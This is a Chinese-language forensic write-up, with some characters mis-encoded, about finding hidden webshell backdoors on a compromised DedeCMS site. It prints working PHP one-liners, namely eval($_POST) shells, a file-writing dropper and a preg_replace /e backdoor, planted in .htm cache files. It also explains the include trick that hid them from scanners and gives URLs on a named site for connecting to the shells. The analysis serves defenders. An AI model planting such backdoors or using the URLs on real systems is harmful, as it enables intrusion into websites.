dedecms之webshell后門(mén)分析
單位某站用的dedecms,今天被某黑闊getshell了,無(wú)奈只能打包代碼進(jìn)行分析,用各種webshell掃描器只掃到一個(gè)data/tplcache/xxxxx.inc文件,文件代碼如下:
{dede:php}file_put_contents(’90sec.php’,'<?php eval($_POST[guige]);?>’);{/dede:php}但是翻遍所有的Web目錄也沒(méi)有找到90sec.php文件,有朋友指點(diǎn)說(shuō)可能是其它文件include這個(gè)文件。然后又用Seay的代碼審計(jì)工具定義關(guān)鍵字各種掃,還是沒(méi)找到。
最后翻到data/cache目錄下發(fā)現(xiàn)了幾個(gè)htm文件,myad-1.htm,myad-16.htm,mytag-1208.htm等,打開(kāi)這些html文件,代碼分別如下:
<!–
document.write(“dedecmsisok<?php @eval($_POST[cmd]);?>”);
–>
<!–
document.write(“<?php $fp = @fopen(‘a(chǎn)v.php’, ‘a(chǎn)’);@fwrite($fp, ‘<?php eval($_POST[110]) ?>axxxxx’);echo ‘OK’;@fclose($fp);?>”);
–>
<!–
document.write(“<?php echo ‘dedecms 5.7 0day<br>guige, 90sec.org’;@preg_replace(‘/[copyright]/e’,$_REQUEST[‘guige’],’error’);?>”);
–>
看到這幾個(gè)文件很奇怪,不知道黑闊要干嘛??雖然代碼看似很熟?,但是HTML文件能當(dāng)后門(mén)用么?想起之前朋友說(shuō)的include,然后結(jié)合前段時(shí)間的getshell漏洞利用細(xì)節(jié),最終翻到plus/mytag_js.php文件,在這個(gè)文件里終于發(fā)現(xiàn)黑闊無(wú)節(jié)操的地方,主要代碼如下:

看到上面的代碼我們應(yīng)該知道黑闊是多么的邪惡,在生成的htm格式的cache文件中寫(xiě)?各種類(lèi)型的一句話代碼,然后再修改plus/ad_js.php和mytag_js.php文件,包含htm格式的cache文件。這樣黑闊只需要在菜刀中填入以下URL就可以連接一句話了.
http://lncdfzh.com.cn/plus/mytag_js.php?id=1208
http://lncdfzh.com.cn/plus/ad_js.php?id=1
具體的id以及文件名跟data/cache目錄下的myad-1.htm,mytag-1208.htm是有關(guān)系的。因此各種webshell掃描器都沒(méi)有掃到webshell后門(mén)文件,因?yàn)楹芏嗄J(rèn)都不對(duì)htm進(jìn)行掃描.